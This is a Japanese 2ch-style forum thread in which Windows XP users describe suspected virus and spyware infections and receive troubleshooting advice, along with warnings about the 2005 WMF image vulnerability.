あれば、そこに書いてある場所にあるcomが本体のはず。無ければ、他に怪しいキーを探す。
それを犯人として、さっきのページの対処を行う。後は祈るのみ。
と書くだけ書いて今日はもう寝るっす。すまん。

>>125　フリーのスパイウェア駆除ソフトを入れてみるとか
セーフモードでスキャンとかしてみた？セーフモードならノートンおっきした気がするが
それでだめならバックアップとってリカバリー

>>125
マルチうぜー

>>128
ad-awareでは駆除できず。セーフモードでもノートンさんおっきせず。

リモートコントロールされる系のCVE-2005というウィルスのようでした。
OSの再インスコはしたくないなぁ。ちょっと調べてがんばってみます。
煽りも含めてありがとうね。

ここで質問する者になんでヤジレスする奴いるの？
答える気もなく、面白がってるだけなら読むだけにしときゃいいのに。

【使用OS】XP home サービスパック２
【WindowsUpdateしてるか】 常に最新の状態
【AntiVirusは何を使っているか】 ノートンアンチウイルス2004
【ちゃんとUpdateしてるか】 ライブアップデート
【スキャンした結果（ウイルス名・発見場所）】 なし
【別のオンラインスキャンしたならその結果は】 まだしていない
【症状を具体的に、分かる限りすべて書く】 何もしていないのにCD-ROMドライブが勝手に開いてしまう
【何をしたらそんなことになったのか】 2chの閲覧以外特に何も･･
【これまでにとった措置】 コンピューターをスキャンしたが何も出てこなかった

デバイスマネージャーは確かめたか？
それで異常が無ければジョークプログラム仕込まれた可能性あり

追記　参考までに
ttp://www.symantec.com/region/jp/avcenter/data/j/joke.geschenk.html

【使用OS】XP home sp2
【WindowsUpdateしてるか】 常に最新の状態
【AntiVirusは何を使っているか】 ノートン2004
【ちゃんとUpdateしてるか】 してます
【スキャンした結果（ウイルス名・発見場所）】 なし
【別のオンラインスキャンしたならその結果は】 反応無し
【症状を具体的に、分かる限りすべて書く】
・explorerが不定期で不特定多数にメールを送信してるくさい SMTP？
・コマンドプロンプトでNetstat -na -oをやるとタスクのエクスプローラーがポート25番になんかしてるくさい
・ノートンでメールのチェックをオンにしてると画面中に電子メールが送信できませんでしたと出る
・あらゆるスキャンかけても検出できず。

【何をしたらそんなことになったのか】 ブラクラっぽいの踏んでから
【これまでにとった措置】 ノートン以外のオンラインスキャンもしたが何も検出せず

タスクマネージャーのプロセスでは見つかりません

>>133 タスクマネージャーのプロセスでは見つかりません

ノートン先生の「コンピューターをスキャン」でも見つけられずお手上げ状態です。

このデバイスは正常に動作しています。

このデバイスに問題がある場合は、[トラブルシューティング] をクリックしてトラブルシューティングを開始してください。

>>135 アドレス帳とかを覗いて勝手に自分をコピーして送信するウイルスに感染してるっぽい
この手のウイルスは亜種が多くてなかなか難しいもんがある




>>132 CD-ROM開き
>>135
他のスパイウェア駆除ソフトとか試してみてだめなら
システムの復元が一番手っ取り早いと思うが

>>132
勝手に開くとはＣＤが飛び出すってこと？
それならＣＤは使えない？

>>135
スキャンして反応なしならお手上げ状態ですね。
ウイルスの種類が分からないし。

>>139
とりあえずシマンテックのそれっぽい駆除ソフトも当たってみたけど検出されず。
マイナーな亜種かもしれないっすね･･･
自分復元無効にしてるんで再インスコになりそうですorz
とりあえずバックアップDVD作るか･･･

>>140 問題なく使用できる

しかし頼んでもいないのに自動でCDが

ｶﾀｰﾝ


ﾃﾗ気味悪ｽ orz

>>140
はい、お手上げっす･･･
症状は分かってるのに何が感染してるのかわからないのがｸﾔｼｽ

ノートンテクニカルノート

ファイル名: 特定されていない


現時点では、他に情報がありません。 本項は、更なる情報が入手できた時点で、Symantec Security Response によって更新されます。


orz

>>141その前にregedit　でレジストリ開いて
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
あたりに怪しいのが登録されてないか調べてみ　だいたいググレば出てくる
ただしレジストリいじるのは危険なので自己責任で
あとウイルスソフトとかにバックアップ作ってるやつもあるからそれも調べてみて

>>142
キーボードのコードを引き抜いてもそうなる？

>>146

いつ勝手に開くのか判らないのでなんとも言えず･･･

>>125
http://pc7.2ch.net/test/read.cgi/pcqa/1134853652/179

前スレ使い切ろうよ…

＊＊新種ウイルスの速報＊＊

Windows XP SP2 に未知の重大な欠陥。
WMF ファイルを読み込むことで、任意のコードが実行されてしまう。
ttp://www.st.ryukoku.ac.jp/~kjm/security/memo/2005/12.html#20051228_WMF

＊＊対応済みアンチウイルス（2005/12/28時点）

マカフィー（検出名　Exploit-WMF）
ttp://vil.mcafeesecurity.com/vil/content/v_137760.htm
ノートン（検出名　Bloodhound.Exploit.56）
ttp://www.symantec.com/avcenter/venc/data/bloodhound.exploit.56.html

>>150 駄目だ。また勝手に開いたorz

質問です。
OCNのオンラインスキャンサービスでウィルスの駆除と消去はどう違うのでしょうか？
駆除はウィルスだけを取り除く。
消去は感染しているファイルごと消す。
ってことなのでしょうか？

>>152

・ウィルス対策ソフトの用語
　「駆除」：ファイルからウィルスを取り除くこと。
　「隔離、検疫」：ファイルをリネーム、移動。実行できなくする。
　「削除」：ファイル自体を削除。ワーム本体は通常、削除される

俺って親切やな〜

>>153
とても親切な方ありがとうございました

>>154
感謝するなら、前レス全て梅て恋

>>155
わかりました。
今からうめてきますね

>>150
完全自動実行タイプでパッチなしか

ファイルをローカルに拾ってから該当するフォルダExplorerで開いたら
Explorerが外部に接続要求出して
ファイアウォールで蹴ったらExplorerが落ちた

前スレ埋めてきましたです。
本当にありがとうございました

>>158
596

【使用OS】winXPproSP2
【WindowsUpdateしてるか】最新
【AntiVirusは何を使っているか】NOD32
【ちゃんとUpdateしてるか】してます
【スキャンした結果（ウイルス名・発見場所）】なしとでたけど、下のがロックされてるみたい。
C:\pagefile.sys - ファイルを開く時にエラーが発生しました (ファイルはロックされています) [4]
C:\WINDOWS\system32\drivers\dtscsi.sys
C:\WINDOWS\system32\drivers\sptd.sys
C:\WINDOWS\system32\drivers\sptd4685.sys

【別のオンラインスキャンしたならその結果は】してない。
【症状を具体的に、分かる限りすべて書く】
デスクトップにあるフォルダにあるアプリケーションの実行ファイルが勝手に消えている。
Program Filesの中のは消えてないみたい
【何をしたらそんなことになったのか】
気づいたら、実行ファイルが消えてて気のせいだと思っていたけど、
確認したら、いくつも消えていて、入れなおしたファイルも消えてたから、
これはウイルスかなと思い、聞いてみました。
【これまでにとった措置】
どうすればいいかわからないので、別に何もしてないけど・・・心配。

とりあえず
http://www.trendmicro.co.jp/hcall/index.asp
ここでスキャンしてみてください。
後セーフモードでスキャンもしてみましたか？

いえ、セーフモードではしてません。
オンラインスキャン後、セーフモードでやってみます。

>>160
原則としてスキャンして検出されないウイルス感染については、
ここを見てる大部分がお手上げ状態になるかと。
プロに相談するかリカバリーをおすすめします。

セーフモードでウィルススキャンは基本だよ。

まあもしウィルスが検出されなかったら。
windowsの設定、他ソフトの設定、バグ、不具合
と思うけど、心当たりなかったらOS入れなおしがいいと思うよ

すみません、質問です。
ネカフェでダウンロードしたファイルを焼いて、
家に持ち帰ろうと思うのですが、
仮にダウンロードしたファイルにウイルスが入っている場合、
添付ファイルを開かずにＣＤに焼いて、焼いたデータは
ごみ箱に入れて削除するとした場合、この手順では
感染する可能性はないでしょうか？

>>165
ファイルを開かない限り感染することはまずないかと。

>>165
質問内容がわかりづらいんだが
添付ファイルってのはCDに焼くデータのことか？
つまりどっかからファイルを拾ってきて
そいつを実行せずCDに焼いて捨てるだけなら感染しないのかって話か？

たとえば>>150にあるトラップ用のファイルは
Explorerでそのファイルのあるフォルダを開いただけで発動する
Explorer上からファイル削除しようとすればそこでひっかかるだろうな

>>166,167
回答ありがとうございます。
>>167

連投すみません。

>>166,167
回答ありがとうございます。
>>167
そうです、日本語がへたですみません（汗）
では、切り取りでＣＤに書き込むという方法なら大丈夫なんでしょうか？
これなら、開かずにデータも削除していることにはならないでしょうか・・・。

すいません、質問します。
デスクトップ上のマイコンピューターのアイコンが消去されてしまう
ウイルスってあるのでしょうか？
会社のパソコンで、２週間の間に２回あったもので。

アメリカのサイトをまわっていたところ
いつの間にかモニタの右端に
広告が居座るようになりました。
ＩＥのタクスバーに余計なものを入れられたり固定されたりもしましたが
ようやくＩＥの方は元に戻ったようです。が、
この広告のはずし方がわかりません。
右クリックもできずどこから沸いてきているのかさっぱりです。
一応クローズボタンはあるので表面上は消すことはできますが
再起動すると再び現れます。
経験豊かな先生方、広告のはずし方を教えてください。
よろしくお願いいたします。ＡＤ-awareは使いましたが消せませんでした。

>>165,169
ウイルスを入手したいが自分のPCでやるのは怖いので、ネカフェでやろうと思います
としか読み取れないんだが。もしそうなら迷惑だからやめて下さい。
ましてセキュリティホールを利用した新種の動作など誰も保障できません。
ウイルス感染させる事を前提に一台PCを用意して、DOWN後即ネットから切り離し、
スタンドアローンにしてから解析なりして下さい。
自己責任は自分で責任を取れる範囲で。

>>172
誤解を受けましたか（汗）
むしろ、逆の理論なんですけど・・・。
つまり、もしダウンロードしたファイルにウイルスが
入っていれも、ネカフェの方には、迷惑をかけたくないので。
今は、公共のパソコンでインターネットを利用していますが、
決まりで添付ファイルはダウンロードしてはいけないんで、
ネカフェでやろうと思って。

すみません、ちょっと神経質なのかもしれません。
ウイルスチェックソフトを入れている友達に頼んで、
ダウンロードします。
ってか、はじめからそうすれば良かった orz
長文すみません。

添付ファイルとはメールについでに添付したファイルの事だが？

すみません、テンパってるみたいです。
ファイルのダウンロードが禁止されています。
（実際添付ファイルもですが・・・）

>>175
そらウイルス対策ソフトの入ったパソコンじゃアラーム鳴ってファイルは開けないかと。
いったい何がやりたいのか分からないのですが。

えぇーと、結局、事実を最初から全部話しますと、
チャットで知り合った女の子が、顔写真を送ってくれるそうなんですが、
添付ファイル＆圧縮ファイルのダウンロードは禁止。
なぜかというと、私がいる大学で以前ウイルスの問題が
何回か起きたためだということです。
研究室につながっているパソコンなら可能なんですが、
あくまで研究以外にファイルをやりとりしてはいけないという規則なので。
というか、うちの先輩が大量にファイルを送っただけで、情報センターに
怒られてました。

なので、ネカフェでダウンロードしようと・・・。
良く知らない人からのファイルは開かないというのが、インターネットの
基本だと書いてあるので。。。
でも、正直、女の子の顔が気になるので、見たいな〜と。
何か、こういう風に素直に書くと、何か恥ずかしいと思ったので、
遠回りに質問していたので、173に疑われたときはショックでした（笑）

私は、ちょっと日本語がへたみたいなので、これくらで終わりにします。
今から、がんばって友達に事情を説明して、頼んでみます。（これも恥ずかしいんですが）

ではでは、皆様、ありがとうございました。

うむ　がんがれ

わかった！その顔写真がウィルｒｆｔｇｙふじこｌｐ
ぃゃぃゃ。がんばれ。ゴミ箱空にするの忘れずになー

>>170 もう少し具体的な症状を　どれが消えたかとか　何個消えたかとか
>>171 Spybot - Search & DestroyかCWShredderでググレ

w32 desktophijack に感染したんですけど、
どのソフトをインストールすれば
治りますかね？
おしえてくださいm(__)m

>>181
もう一度>>1を読んでから質問したほうがいいかと。

セーフモードでもNOD32では検出なし。４つのファイルはロックされたまま。
Spybot - Search & DestroyとAd-Aware SE Personalでスキャンしたところ、
IEのキャッシュで何か２つ引っかかりました。名前晒したいかったんですが、表示の仕方がわからない。ともあれ駆除。

2chが見れなくなった件で、ちょうどNISからNODに乗り換えたけど、乗り換える前はこんな症状なかったのに・・・
軽さに感動してたけど、相性のせいなのだろうか・・・・
ともあれ時間ができたら、リカバリします。

>>183
というか、お前の投稿内容だとウィルス以前の問題。

>>183
実行プロセスぐらい晒しなよ。
ウィルス感染問題なのかは、まずそこから追跡するしか手が無い。
ただ、NOD32を使っているのなら感染の可能性は非常に少ない。

>>183
>>160のスキャン結果は問題なし。
ttp://canon-sol.jp/supp/nd/wndt7001.html

driverフォルダ以下のファイルも排他制御されてるだけと思われ。
daemontoolがらみのファイルな希ガス。

実行ファイル消失は情報少なすぎ。

すいません、IE6で日本語が書けなくて、
2ちゃんが見れなくなりました。
２ちゃんのアドレスを入れると、ブラウザが真っ白になるんです。
助けてください、おねがいします。

OSはXP、ウイルスバスター共に最新状態
ウイルス名はTSPY_KAKKEYS.F
発見場所は\RECYCLER\S-1-5-21-1159845262-2441115878-1826275187-1003\IEXPLORE.EXE
手動で削除必要ありと出たので検索してみましたがヒットせず
今のところ分かるような不具合は出ていません
どういうウイルスか全くわからない状態です、どうすればいいでしょうか？

>>188
＞発見場所は\RECYCLER

そりゃヒットしませんよ。

デスクトップ上のマイコンピューターとマイネットワークの
アイコンが削除された状態でした。
コントロールパネルで復元は出来たのですが、気になりまして。
会社のパソコンだから、誰かのいたずらの様な気もしますけど。

>>189
えーと・・・RECYCLERってゴミ箱でしたっけ？
それでヒットしないんですかね？

>>188
バスターはセーフモードだと動きませんので、
通常モードで起動してIEは起動していない状態でタスクマネージャを見てみなさい。
iexplore.exeの名前で実行中のプロセスがあったら終了してください。
その後に全ドライブをスキャンして発見したものを削除すれば解決するはずです。

>>192
ありがとうございます
早速やってみます

終了出来ませんでした(´･ω･｀)
セーフモードでやってみようとしたけどセーフモードすら起動出来ず・・・

>>194
いっそＩＥを再インストールしたらどう？

このサイトはどうでしょうか？

tp://lemonpop.vzz.net/

開いてみたけどなんか怪しい雰囲気があって不安です

ウイルスとかスパイとか大丈夫でしょうか？

>>194
終了できないというのが意味不明。
それと質問続けるなら名前に番号つけないと誰が誰か分からん。

すいません番号付けました
終了出来ないっていうのはプロセスの終了を選択しても起動したまま動き続けてるっていう事です

IEアンイストールやり方調べてきます

>>194
なあんだ　OS起動不能かよ。
リカバリーしろ　あんたにはムリ。

>>198
ああ　終了させてももう一方の違うプロセスが監視していて再起動させるパターンかよ。
あんたにはもうムリだろうな。

あーなんかやっかいなのに感染したのか('A`)
わかったリカバリするわ
みんなありがと

>>201
バスターってセーフモードとコマンドプロンプトとかで起動しても、全ドライブスキャンとか出来ないから
こんな時には不便だよね。
OS起動の初期状態で起動されるウィルスやスパイウェアのプロセスだと、もう何も出来ないでしょう？
トレンドマイクロってなに考えているんだろうね？

>188
＞ウイルス名はTSPY_KAKKEYS.F
＞発見場所は\RECYCLER\S-1-5-21-1159845262-2441115878-1826275187-1003\IEXPLORE.EXE
↓の情報によると、リカバリ推奨のようです。
ttp://hjdb.higaitaisaku.com/database.cgi?cmd=dp&num=444

>>202
>OS起動の初期状態で起動されるウィルスやスパイウェアのプロセスだと、もう何も出来ないでしょう？
>トレンドマイクロってなに考えているんだろうね？

拾ってくるほうが馬鹿だと思うが・・・

>>204
偉そうに言うな馬鹿。

馬鹿が馬鹿を庇うとは・・・

>>203
おぉ、わざわざすいません
原因がわかったので大感謝
もう控えよう

長居しても迷惑なだけですので消えます、どうもありがとうございました

WMFの脆弱性関連のスレはありますか？
結構やばそうなんだけど

ttp://news19.2ch.net/test/read.cgi/newsplus/1135939990/

>>208
NOD32スレが一番詳しい
ただし、住み着いている荒らしによって妨害されているから読み難いかな

> NOD32アンチウィルス Part27
> http://pc8.2ch.net/test/read.cgi/sec/1135527602/

> 一番いいセキュリティソフトはなんだ!!Part8
> http://pc8.2ch.net/test/read.cgi/sec/1132160664/


ここは、未対応状態なので深刻
> 【Anti Virus】Kaspersky Lab Part5【Firewall】
> http://pc8.2ch.net/test/read.cgi/sec/1130503686/

>>209
ども
この板にはないみたいですね

>>210
そちらも見てみます
ありがとう

>>208
ttp://www.st.ryukoku.ac.jp/~kjm/security/memo/2005/12.html#20051228_WMF
>NOD32 の場合AMON(常駐保護)〜のチェック対象に既定ではWMF ファイルは含まれないようです。
>〜WMFを追加し、AMONによるリアルタイム検査（常駐保護）の対象に含めるようにしておくことが必要〜。

つまりNOD32は拡張子を変えられると、悪意あるコードの実行阻止に失敗する可能性があるので注意が必要。
NOD使いの人は、上記リンクの要領で設定の変更を。

すみません、どうしても事故解決できずにカキコきました。
昨日のことなのですが、ＰＣ立ち上げたら
いつものウインドウズの草原の背景が、突然、真っ赤になってDENGER:SPYWERE
と出て、元に戻らなくなりました。
色々、試行錯誤してウイルスバスターのお試し版？をインストールして検索した所
TROY_DELF.UYとADW_COMMAD.AとADWCMDDSKTOT.A
の３つが出てきて、その結果が、(隔離できません)とでるのです。
どなたか同じ状況、または解決策お持ちの方はいらっしゃらないでしょうか？
背景を元に戻す件と同時に教えてください。よろしくお願いします。
ちなみに、使用ＰＣは
WinXP Updateは自動更新 ウイルスソフトは入れてませんでした。

>>214
>>1を読んでからもう一度質問するように。

>>214
教えたところでお前では直せんだろ。
諦めてリカバリなりをしなさいよ。

それとな、ウイル対策スソフトは必ずいれておくように！
　　　　　　￣￣￣￣￣￣￣￣

【使用OS】　ウィンドウズXP
【WindowsUpdateしてるか】　してます
【AntiVirusは何を使っているか】　Kaspersky
【ちゃんとUpdateしてるか】　毎日してます
【スキャンした結果（ウイルス名・発見場所）】　さっき全スキャンやったんですが何も検出されず
【別のオンラインスキャンしたならその結果は】

【何をしたらそんなことになったのか】　2チャンネル閲覧
【これまでにとった措置】　ウイルスソフトで全スキャン　
【症状を具体的に、分かる限りすべて書く】
さっきある版に投稿したら不審なURLをクリックしたわけでもないのにフシアナさん状態なって名前欄
にホストが表示されました。
こういう事ってあるんでしょうか？
どう対処してイイか分かりません。
ちなみにモー娘オオカミ版でそういう状態になり他板では何事もないです

[ウイル対策スソフト]

どこにあるんですか･･･。

ウイル対策スソフト の検索結果 4 件中 1 - 4 件目 (0.32 秒)

中々レア物のようです

>>217 とりあえず起動時にF8連打でセーフモード→再スキャン
TROY_DELF.UY　ADWCMDDSKTOT.A　ウイルスの名前これで合ってる？

>>217
＞さっきある版に投稿したら

それってまさか削除依頼板じゃないだろうね？

>>213
> つまりNOD32は拡張子を変えられると、悪意あるコードの実行阻止に失敗する可能性があるので注意が必要。
> NOD使いの人は、上記リンクの要領で設定の変更を。

その必要全くなし。
IMONは全てのファイル(書庫やメール除く)を検査するからAMONの設定値が登録された拡張子のみであっても差し障りはない。
もちろんIMONは書庫も対象に検査される。

あと、AMONの現在のデフォルト値は全てのファイル(書庫やメール除く)になっていて、
初心者にも扱い易くなっている。

書き直し

>>213
> つまりNOD32は拡張子を変えられると、悪意あるコードの実行阻止に失敗する可能性があるので注意が必要。
> NOD使いの人は、上記リンクの要領で設定の変更を。

その必要全くなし。
IMONは全てのファイル(書庫やメール含む)を検査するからAMONの設定値が登録された拡張子のみであっても差し障りはない。
もちろんIMONは書庫も対象に検査される。

あと、AMONの現在のデフォルト値は全てのファイル(書庫やメール除く)になっていて、
初心者にも扱い易くなっている。

>>217
狼はそういうところです。ローカルルール読みましょう。
ついでにいっとくとこういう形の場合、削除依頼は通りません。

>>217アドバイス有難うございます

アンカーミス>>218-224

ダークロリータって何ですか？
Jane Doeでプレビューしちゃったんだけど・・・(((( ；ﾟДﾟ)))

>>227
今は元凶のサーバーが死んでいるから関係なし

>227
良かった、ありがとうございます。
念のため一応今ウィルススキャンしてます。

c:\WINDOWS\Downloaded Program Files\UWFX5S_0001_N57M1412NetInstaller.exe は　WinFixer に感染しています。

コントロールパネル→アプリケーションの削除を行ったんですが、
スキャンすると上記の表示が出ます。
削除方法を教えて下さい。お願いします。

>>230
>>1を読んでから質問しましょうね。

tp://virus.org.ua/unix/woid.jpg

これって、新種のウィルスでしょうか？
ウィンドウズのパッチは全て当ててるのですが、コードが実行されてしまいます。
telnetが・・・・・＞＜

先生、(ﾟДﾟ )ｺﾞﾙｧ!!言ってるんですが。。。。。。。。

Bloodhound.Exploit.6に感染してしまった・・・。
ファイルを削除しようと思ったのですが、なぜかアドレスを入れてもそのファイル
は有りませんと出ます。感染しっぱなしも困るので、詳細キボン

Live2chからのお知らせ※バージョンアップのお知らせではありません

Windowsに新しい脆弱性が発見されたようです。
細工がされた画像ファイル（wmfファイル）を読み込むと、任意のコードを実行されるという大変危険な脆弱性のようです。
詳しくはマイクロソフトの発表や、IT Proの記事をご覧ください。
マイクロソフト セキュリティ アドバイザリ (912840)　Graphics Rendering Engine の脆弱性によりコードが実行される可能性がある
Windowsにパッチ未公開の危険なセキュリティ・ホール，信頼できないページやファイルには近づくな

Live2chには画像プレビュー機能があります。
私のテスト環境（Windows2000 SP4とWindowsXP SP1）では問題ありませんでしたが、画像プレビューの処理はすべてIEコンポーネントに任せていますので、環境によっては問題が起こるかもしれません。
気になる方のために画像プレビューのOFFの仕方を書いておきます。

・Live2chの画像プレビューのOFFの仕方
ご自分で画像プレビューするように書き換えた方は、元に戻してください。
設定ウィザードで書き変えた方は、下記のようにすることで画像プレビューをOFFにすることができます。
1)メニューから「ヘルプ」→「設定ウィザード」と開きます。
2）「次へ」ボタンを3回押し、スキン編集用メニューの画面まで進めます。
3）「Defaultスキンに画像プレビュー機能を追加する」にチェックが入っていないのを確認し、「次へ」を押します。
4）「完了」ボタンを押します。
5）Live2chを再起動します。

また、画像ポップアップをCtrlキー無しで表示する設定にしている方は、Ctrlを押したときのみの設定にしておくことをおすすめします。

>>233
判断してやっからそのファイルのフルパスを書いてみろ

テンプレ使わないで質問しても誰も答えてくれないよ。

>>234
あーウチのトコもキタキタ

ケンシロウってぶっちゃけ今のトコは気を付ける以外ないんだべ？
まー俺の場合Ctrlキー使ってポップアップしてるけど不用意に開けんわな

【使用OS】 WinXP HomeEdition SP2
【WindowsUpdateしてるか】 最新です
【AntiVirusは何を使っているか】 ノートン
【ちゃんとUpdateしてるか】 最新です
【スキャンした結果（ウイルス名・発見場所）】 特に無し
【別のオンラインスキャンしたならその結果は】 トレンドマイクロでのスキャン結果は特に無し
【何をしたらそんなことになったのか】 不明。昨日から
【これまでにとった措置】 タスクマネージャ・スタートアップを見ましたが変なものは常駐してません
【症状を具体的に、分かる限りすべて書く】 まれにコマンドプロンプトが３〜４つくらい起動したかと思うと
すぐに終了するという現象がおきています。デスクトップ上にコマンドプロンプトの画面が表示されることは無く
タクスバーの中に３つほど出てきます。特にネットワークにアクセスしている様子もないです。
.exeファイルを実行したり変なサイトにアクセスした記憶も無いので、もしかしたらウィルス関係ではないかもしれませんが
なんとなく不安なので心当たりのある方どなたかいらっしゃいませんか？
長文失礼しました。

>>238
定番のアンチスパイウェアソフトは使ってみたか？

WindowsUpdateのサイトにアクセスしたんですが
少しの間ブラウザがフリーズしてサイトにはつながるんですが
ページが真っ白で何も表示されません（ｾｷﾘｭﾃｨソフトやＦＷを切ってからも同じ状態）
これはウイルスに犯されているのでしょうか？（ＯＳはＸＰのＳＰ２）
対策お願いします。

>>238
スキャンして何も検出されず、なんでそうなったのか心当たりもないのなら、
なんにも分かりませんな。

>>237
いたずらに不安ばかりを煽らないでほしいものですよね

>>238 特にネットワークにアクセスしている様子もないです 根拠は？
>>240 ActiveXの設定は？あとテンプレ

【使用OS】WINDOWSXP SP1
【WindowsUpdateしてるか】している
【AntiVirusは何を使っているか】 ウィルスバスター2006お試し版？期限1月末まで
【ちゃんとUpdateしてるか】30日の最新のに更新済み
【スキャンした結果（ウイルス名・発見場所）】
ウィルス名TROJ_agent.ALV（あっています）
ファイル名A00436**。EXE　**は数字は変わるかもしれない
今のはA0043619とA0043638と二つある。
場所C:\system volume information\_restore{B3D30D27-3E43-4F5B-FA81F444〜
あと時々ウィルスがでてくるとスパイウェアクッキーみたいなのが数件でます。
【別のオンラインスキャンしたならその結果は】
初めネットで検索して外国のフリーソフトでお勧めとしてでているので試すも
相変わらずでてくる。今はウィスルバスターで細かく削除状態
【症状を具体的に、分かる限りすべて書く】 ウィルスバスターで一番はじめに
検索したとき沢山でたので表示されているものすべてとクッキー一時ファイル履歴と
すべて削除。2日経ってもこのTROJ_agent.alv（ファイル名A00436**.EXE）が
何度も復活。症状は普通にヤフーで検索（何でもいい2CHでもいい）してでてきた
各サイトをクリックするとアメリカの何かのサイトに飛ばされる。
改めて戻ってアドレスを確認すると飛ばされたところとはまったく違う表記。

【何をしたらそんなことになったのか】
海外のアダルトサイトで。海外のアニメ（有害じゃないのを）を検索していたら
アダルト系のページを発見。で・・・クリック。オークションのヤフー動画とニュースぐらい
しか使ってないのですがアメリカでもそういうサービスがあるのかな？と巡回中に。
簡単に移動している時ふとダウンロードしてまずい！と思ったら
でぃすくとっpう上に広告が。真ん中にアダルトサイト上下2つに健全そうな
サイトの広告の縦長のもの。それとタクスバーが固定されアダルトサイトと
検索バーとあと3つぐらいの余計なのがついた。
ウィルス対策ソフトでタクスバーの固定とスパイウェアは解除駆除されたが、
まだ上記のウィルスがでてくる。ウィルスがでてくるとウィルスバスターで検索
するとご丁寧にスパイウェアのクッキー？もでてくる。その都度削除

【これまでにとった措置】
ウィルスバスターで細かく処置のみ。とれんどマイクロの対策ソフトがでるのを
待っている
【その他】
そもそもC:\windows\system volume information〜というのがありません
ウィスルバスターで検索するとかなり長いこと（ファイルの数があるので）
これ以下を検索しているのですがスタート→検索でファイル名で探しても
この場所がないのでEXEファイルを自力で消すこともできません。
拡張子も隠れファイルも出してみてますが出てきません。

今回のことで調べてみて目的があってつくられたのと推測はしているのですが
まだアフィリエイトで飛ばされるならいいですが今再インストールできない状況なので
それ以外に問題が発生する（パソコンが激重、一部ファイルを勝手に削除）と
かなり負担になるので大変困っています。

[Spybot][Ad-Aware]をインスコして実行してみましたが
特にあやしいプログラムは発見されませんでした。

>>243
[TCP Monitor Plus]というソフトを使っています。

すいません上のレスに名前付けるの忘れてました
238です。

>>244
ウイルス検出された時、復元ポイントを無効にした？

>>248
今使っている2006版ではそのような項目はないようです。

検索処理のところでウィルス駆除前にバックアップを作成というのにはレ点入っています。

>>244
【使用OS】WINDOWSXP SP1
【WindowsUpdateしてるか】している
これはこのスレではよくおとといきやがれと言われる状態です
おそらくTROJ_agent.ALV以外の他のトロイにも感染してて
どんどんマルウェアを呼び込んでるか　
ウイルス定義を待つよりシステムの復元をした方がいいんじゃないか

>>238
TCP Monitor Plusを使っててもIEとか使ってるときに
IEに偽装して一緒にデータを送るやつとかもある
重くなったりとか急にIEやウインドウズが落ちたりとかシステム不安定になってない？

まずは二人ともセーフモードでスキャン

>>249
タスクマネージャーやレジストリのＲＵＮは調べた？

ケータイのメールに知らない人のPCのスクリーンセーバーが
おくられてくるんですが新種のウィルスですか？

こっちには問題ないけど向こうはユーザー名とIPなんですよね
まぁケータイからスクリーンセーバー見れないからいいけど。

デスクトップ画面の壁紙の代わりに、
Warning! Spyware detected on your computer!
というのが出てきて消えないヤシいる？
消す方法を知りたいが…。

>>253
お前はもう感染している

なんでこうセキュ意識の低い奴ばっかなんだろう？
おねーちゃんのケツのほうがいいのは解るが・・・

正月は物騒だなぁ。ウイルスが活発だ。
てかゲイツ様はやくパッチだせじゃなくてだしてorz

今年のセキュリティー占い!!
神　=　今年のセキュリティーは完璧。たぶんポートスキャンすらこない。
大吉　=　今年のセキュリティー万全でしょう。ウイルスもワーム怖くない
中吉　=　ちゃんとうｐでたしていたら問題ないでしょう。
末吉　=　ウイルス対策完璧!!実はスパイウェアだらけｗ
凶　=　あなたのパソコンはウイルス発生装置です。。
大凶　=　世界中のクラッカーから攻撃やらなにやら
だん吉　=　パソコンがひとりでに日本一週してきます。
ぴょん吉　=　朝起きたらMacになってます。。
豚　=　朝起きたら養豚場でしょう。

てｓｔ

ぎゃふん！

>>257
朝起きたらMacﾜﾛｽｗｗｗ

まあいろいろあるっしょ今年も

せつねー

ウイルスやスパイウェアに感染してデータなどが
おかしくなるのは経験済みなんですが
ハードにダメージを食らうことはあるのでしょうか？

あるよ。
HDDが逝かれる。
ウィルスの種類によっては、無理なアクセスを繰り返しHDDを破壊しようとするものもある。

ちんぽっぽ

>>264
HDDが行かれるんですか；
CPUやRAMなどにはさすがにダメージいかないのかな・・・

>>266
CPUやRAMは潜在的に問題を抱えてたのが顕在化するきっかけにはなるかも知れんが
（排熱が不完全だったとかメモリエラー起こしかけてるとか）、
そのものズバリ原因になって逝かれるって事はまず無いかと。

>>267
なるほど
ありがとうございました<(_ _)>

【使用OS】 XPSP1
【WindowsUpdateしてるか】 最新
【AntiVirusは何を使っているか】 NAV
【ちゃんとUpdateしてるか】 最新
【スキャンした結果（ウイルス名・発見場所）】 ウィルス検出されず
【別のオンラインスキャンしたならその結果は】 ウィルス検出されずトレンドマイクロ
【症状を具体的に、分かる限りすべて書く】
1.画面が黒くなり、赤い文字でいっぱい(ドイツ語？）
2.タスクマネージャが使用不可に変更される
3.ハードディスクが異常に回転
【何をしたらそんなことになったのか】
特に何も。おそらくヤフーメッセンジャー経由と思われる
【これまでにとった措置】
とりあえずHKCUのDISABLETSKMGRの値を0へ変更するもいまだにタスクマネージャ
は管理者によって使用不可の状態に。
セーフモードでスキャンするもウィルス検出されず。
【その他の質問】
ウィルスが検出されずに対応方法がわからない。
現象としては明らかにウィルスなのに・・・。
誰か教えてください。

ケンシロウを一度踏んでしまってＰＣの調子がガタ落ちなんですが、
ウィルスとは違う物だから現時点では元に戻す方法が無いというのは本当ですか？

269ですが追加情報。
XPの認証が切れてるとのことで再認証を求められます。
オンラインではなぜか接続できずに電話になります。
もしかしたら、キーログがとられてるかもしれませんがかまわず認証してしまいました。
プリンターにキューが送られて「くそ野郎」見たいな意味のドイツ語？
と思われる文章が印刷されます。

再インストしろよ

>>269
原則としてスキャンでウイルス検出されないのに感染の疑いある場合はリカバリーしかない。

>>269
Process Explorerで調べても不審なプロセスが起動していない場合は、
既定のプロセスのレジストリを書き替えられていて、不正なファイルが起動するように改変されていますね。

受信したメールの一部が知らないうちに消えています。そういうウイルスってあるんですか?

>>275
OUT

>>275
Norton AntiVirusとかVirus Busterって名前のウィルスに感染していないか？

【使用OS】XP
【AntiVirusは何を使っているか】シマンテック

質問をお願いします。
メールの添付ファイルや、他人からもらったファイルなどを
ウィルスチェックした場合、ウィルスが発見された場合にファイル全体が
消されてしまいます。
これをウィルスだけを取り除けるような設定ってできますか？
よろしくお願いします。

フォルダの設定がいちいち変わるんだけどなんかのニュイルス？
画像フォルダが縮小表示に設定しても再起動したらアイコン表示になってたり自動整列に変更されたり

スキャンもAntivirusも反応はなかった

ニュイルス・・・

>279はﾀﾞｳｿ民
ところで日本語名ファイル(2byte)にだけ影響を及ぼすウィルスとかないのかな
